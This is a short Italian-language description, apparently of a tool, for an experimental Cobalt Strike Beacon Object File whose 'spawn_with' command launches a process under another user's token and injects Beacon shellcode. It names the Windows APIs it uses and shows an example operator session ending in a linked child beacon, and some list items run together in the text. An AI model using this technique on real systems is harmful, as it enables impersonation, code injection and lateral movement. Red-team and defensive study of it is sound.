
Cobalt Strike BOF che genera un processo utilizzando il token di un altro utente e inietta lo shellcode di Beacon, consentendo post-sfruttamento e movimento laterale tramite impersonazione.
Un Beacon Object File (BOF) sperimentale che offre un'alternativa ai comandi spawnas e inject. Questo espone un nuovo comando, spawn_with [pid] [listener], che esegue le seguenti operazioni:
spawnto del Beacon.CreateProcessWithTokenW.
CreateProcessAsUserW.beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
